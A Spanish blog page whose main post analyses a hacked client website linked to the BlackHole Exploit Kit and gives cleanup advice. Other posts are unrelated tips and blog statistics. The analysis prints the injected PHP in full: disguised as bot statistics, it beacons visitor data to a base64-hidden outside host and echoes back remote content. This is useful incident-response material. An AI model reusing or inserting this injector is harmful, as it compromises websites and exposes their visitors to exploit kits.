Web Hackeada (BlackHole Exploit Kit)

diciembre 5, 2012

He estado estos dos últimos días revisando la web de un cliente que había sido Hackeada. Los antivirus de varios de sus usuarios les saltaban con el aviso de amenaza de tipo BlackHole Exploit Kit y abortaban la conexión.

Tras revisar el log del servidor y comprobar varias entradas por FTP de una dirección procedente de Canadá, revisé los archivos que parecían haber sido modificados por este intruso. En este caso, varios archivos index.php situados en distintos directorios del servidor.

En todos estos archivos se había incluido este pedazo de código PHP.

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = “”;
if((strstr($sUserAgent, ‘google’) == false)&&(strstr($sUserAgent, ‘yahoo’) == false)&&(strstr($sUserAgent, ‘baidu’) == false)&&(strstr($sUserAgent, ‘msn’) == false)&&(strstr($sUserAgent, ‘opera’) == false)&&(strstr($sUserAgent, ‘chrome’) == false)&&(strstr($sUserAgent, ‘bing’) == false)&&(strstr($sUserAgent, ‘safari’) == false)&&(strstr($sUserAgent, ‘bot’) == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
$stCurlLink = base64_decode( ‘aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==’).’?ip=’.urlencode($_SERVER['REMOTE_ADDR']).’&useragent=’.urlencode($sUserAgent).’&domainname=’.urlencode($_SERVER['HTTP_HOST']).’&fullpath=’.urlencode($_SERVER['REQUEST_URI']).’&check=’.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]==”O”)
{$sResult[0]=” “;
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>

El texto codificado en Base64  aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA contiene esta dirección [http://hotlogupdate.com/stat/stat.php]

En este caso, el código es facilmente reconocible. En otras ocasiones el código incluido es un javascript ofuscado bastante mas dificil de detectar.

Si vuestra web es hackeada e infectada por este u otro tipo de código malicioso es recomendable que toméis las siguientes medidas aparte de eliminar el molesto código claro …

1. Cambiar las credenciales de acceso al panel de control del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la cuenta FTP

3. Revisar los equipos desde los que se ha accedido con la cuenta FTP cuyas credenciales parecen haber sido sustraidas en busca de algún tipo de Troyano que el hacker haya podido utilizar para sustraerlas.

 


Zapatop.com, tu zapatería en casa

noviembre 23, 2012

No es habitual que utilice este espacio para hacer publicidad de otros sitios pero este caso es especial.

Porque son profesionales, porque ofrecen un buen producto con una buenísima relación calidad-precio, porque son profesionales del calzado desde hace más de 30 años y, porque no, son muy buena gente y ademas familia, aquí va mi recomendación para todo aquel que quiera hacerse con calzado de calidad al mejor precio.

zapatop.com


Urls amigables (SEF Url) para VirtueMart 2.0.6

junio 28, 2012

Por todos es sabida la importancia de las url´s amigables  para el posicionamiento de nuestra web. En el caso de los sitios desarrollados con VirtueMart, ya existen varias extensiones que nos permiten convertir en amigables las url´s de nuestra tienda  (aceSEF, joomSEF, … ), pero la mayoría de estos casos solo merecen la pena las versiones de pago.

En realidad, si lo que necesitamos es simplemente convertir en amigables las urls de nuestro VirtueMart, basta con editar el router.php que podemos encontrar en /components/com_virtuemart.

Paul Mason publicó hace algún tiempo un router.php para hacer amigables las url del Virtuemart 1.x.x. Yo me he limitado ha realizar  las modificaciones necesarias para que este nos sirva en la nueva versión de Virtuemart (2.0.x), que presenta cambios significativos en la estructura de su base de datos con respecto a las anteriores versiones de VirtueMart.

Tan solo teneís que sustituir este archivo por el que se encuentra en: /components/com_virtuemart y en la configuración global  del Joomla activar el  “Search Engine Friendly Url” y  “use Apache mod_rewrite”. 

Recordad que tenéis que cambiar el nombre del  archivo htaccess.txt por el de .htaccess.

Descargar router.php para VirtueMart 2.0.6


Los números de 2011

enero 3, 2012

Los duendes de las estadísticas de WordPress.com prepararon un reporte para el año 2011 de este blog.

Los números del 2011. Gracias a todos  por leernos !!

Madison Square Garden puede albergar 20.000 personas por concierto. Este blog fue visto cerca de 69.000 veces en 2011 .Si fuese un concierto en el Madison Square Garden, se precisarían alrededor de 3 actuaciones para que toda la gente lo viera.

Haz click para ver el reporte completo.


Resolver problema con el inicio de sesión de Skype

mayo 27, 2011

Últimamente los usuarios de Skype nos estamos encontrando con problemas al iniciar la sesión. Esto afecta sobre todo a usuarios de Windows, aunque no deja de afectar a usuarios de otros sistemas operativos.

Os dejo un enlace para solucionar de forma rápida el problema.

http://heartbeat.skype.com/2011/05/problems_signing_into_skype_an.html


Los números de 2010

enero 2, 2011

Los duendes de estadísticas de WordPress.com han analizado el desempeño de este blog en 2010 y te presentan un resumen de alto nivel de la salud de tu blog:

Healthy blog!

El Blog-Health-o-Meter™ indica: Wow.

Números crujientes

Imagen destacada

Alrededor de 3 millones de personas visitan el Taj Mahal cada año. Este blog fue visto cerca de 49,000 veces en 2010. Si el blog fuera el Taj Mahal, se necesitarían alrededor de 6 días para visitarlo.

 

En 2010, publicaste 10 entradas nueva, haciendo crecer el arquivo para 152 entradas. Subiste 4 imágenes, ocupando un total de 310kb.

Tu día más ocupado del año fue el 2 de junio con 257 visitas. La entrada más popular de ese día fue Buongiorno, experiencia de un estafado mas.

¿De dónde vienen?

Los sitios de referencia más populares en 2010 fueran search.conduit.com, facebook.com, phpclasses.org, google.es y forosdelweb.com.

Algunos visitantes buscan tu blog, sobre todo por buongiorno myalert s.a, buongiorno sms, html2fpdf, anaglifos photoshop y librosweb.

Lugares de interés en 2010

Estas son las entradas y páginas con más visitas en 2010.

1

Buongiorno, experiencia de un estafado mas febrero, 2009
24 comentários

2

Generar un PDF “al vuelo” con PHP con Html2fPdf diciembre, 2007
75 comentários

3

Jenna Jameson en 3D – Como realizar Anaglifos con Photoshop enero, 2008
3 comentários

4

Introducción a los Socket y PHP (1) mayo, 2007
12 comentários

5

Ruby on Rails; Vistas, Formularios con Form Helpers y envío de parámetros (POST) abril, 2008
1 comentario


Extraer dimensiones de un SWF con Curl

diciembre 21, 2010

Ya hemos hablado en alguna ocasión de que, a menudo, nos encontramos con la imposibilidad de utilizar la función fopen por estar deshabilitada (por seguridad) en el servidor contratado.

Una alternativa a fopen es la libreria curl.

En este ejemplo vamos a utilizarla para extraer las dimensiones de un archivo .swf  externo, algo que he necesitado últimamente. Aquí os lo dejo por si os resulta útil.

<?php

function swfDimensions ($swfPath) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $swfPath);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$contents = curl_exec($ch);
curl_close($ch);

//creamos el fichero donde volcaremos los datos almacenados en $contens;
$fp = fopen (“swf/temp.swf”, “w”);
fwrite ($fp, $contents);
fclose($fp);

list($width, $height) = getimagesize(‘swf/temp.swf’);

$dimensions["width"] =  $width;
$dimensions["height"] = $height;

//eliminamos el swf una vez extraidos los datos

unlink (“swf/temp.swf”);

return $dimensions;
}

$dimensiones = swfDimensions (“http://www.dominio.com/rutaATuSWF/tuSWF.swf&#8221;);
echo $dimensiones["width"].” “.$dimensiones["height"];
?>


Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.